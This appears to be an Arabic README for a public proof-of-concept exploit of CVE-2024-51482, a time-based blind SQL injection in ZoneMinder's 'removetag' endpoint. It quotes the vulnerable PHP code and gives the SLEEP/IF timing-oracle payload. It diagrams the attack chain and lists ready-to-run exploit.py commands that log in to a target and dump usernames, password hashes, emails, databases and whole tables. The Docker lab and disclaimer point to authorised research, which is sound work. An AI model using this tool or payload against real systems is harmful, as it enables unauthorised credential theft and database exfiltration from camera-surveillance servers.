
إثبات مفهوم حقن SQL زمني للثغرة CVE-2024-51482 في ZoneMinder، مع مختبر Docker قابل للتكرار واستخراج بيانات آلي.
⚠️ للأغراض التعليمية وأبحاث الأمن المصرح بها فقط. تشغيل هذه الأداة ضد أنظمة لا تملكها أو تفتقر إلى إذن كتابي لاختبارها غير قانوني.
يحتوي هذا المستودع على PoC لحقن SQL قائم على الوقت يستهدف ZoneMinder.
تتيح الأداة ما يلي:
كما تتضمن مختبر Docker قابل للتكرار بالكامل للاختبار الآمن.
ZoneMinder هو تطبيق برمجي مجاني ومفتوح المصدر للدوائر التلفزيونية المغلقة. تنشأ الثغرة من التحقق غير الكافي من المدخلات في نقطة النهاية removetag في ZoneMinder. يتم تضمين المدخلات التي يوفرها المستخدم مباشرة في استعلامات SQL دون تطهير أو معاملات مناسبة، مما يسمح للمهاجمين بحقن حمولات SQL قائمة على القيم المنطقية. يستغل الاستغلال:
SLEEP(x - IF(condition, 0, x))
لاستنتاج البيانات عبر توقيت الاستجابة.
مقطع الكود الثغري الكامل من نصيحة الصيانة على Github:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
Attacker ZoneMinder Web App
│ │
│ [مصادقة] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← جلسة موثقة
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ استعلام SQL منطقي تم تنفيذه
│ IF(condition, no delay, SLEEP)
│◄────────────────────────────────────────│
│ استجابة متأخرة (أوراكل التوقيت) │ ← تم استنتاج الشرط
│ │
│ تكرار الطلبات │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ اختلافات التوقيت تكشف الأحرف │
│ │
│ بحث ثنائي لكل حرف │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ بيانات مستخرجة (حرف واحد في كل مرة) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ الكشف الكامل عن قاعدة البيانات │
│ │
✓ تسريب كامل للبيانات عبر SQL أعمى
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # تكوين متغيرات البيئة
docker compose up -d
بدون أي أعلام، ستقوم الأداة بالمصادقة على الهدف، والتحقق من وجود الثغرة، وإذا كانت قابلة للاستغلال، ستقوم بتفريغ الأعمدة ID, Username, Password, Name و Email من جدول zm.Users (أمر dump-users).
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
للتحقق فقط مما إذا كان الهدف قابلاً للاستغلال.
python exploit.py -t http://target/zm -u <username> -p <password> check
يقوم بتفريغ الأعمدة ID, Username, Password, Name و Email من جدول zm.Users. الأمر الافتراضي إذا لم يتم تحديد أي أمر.
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
يعرض جميع قواعد البيانات.
python exploit.py -t http://target/zm -u <username> -p <password> list-db
يعرض الجداول في قاعدة بيانات محددة.
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
يعرض الأعمدة في جدول محدد.
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
يقوم بتفريغ جميع البيانات من جدول محدد.
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
يمكنك أيضًا تحديد الأعمدة المراد تفريغها (الافتراضي هو الكل):
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
--no-display
إذا لم يكن الملف موجودًا، فسيتم إنشاؤه. إذا كان موجودًا بالفعل، سيتم إضافة النتائج الجديدة إليه.
--outfile results.csv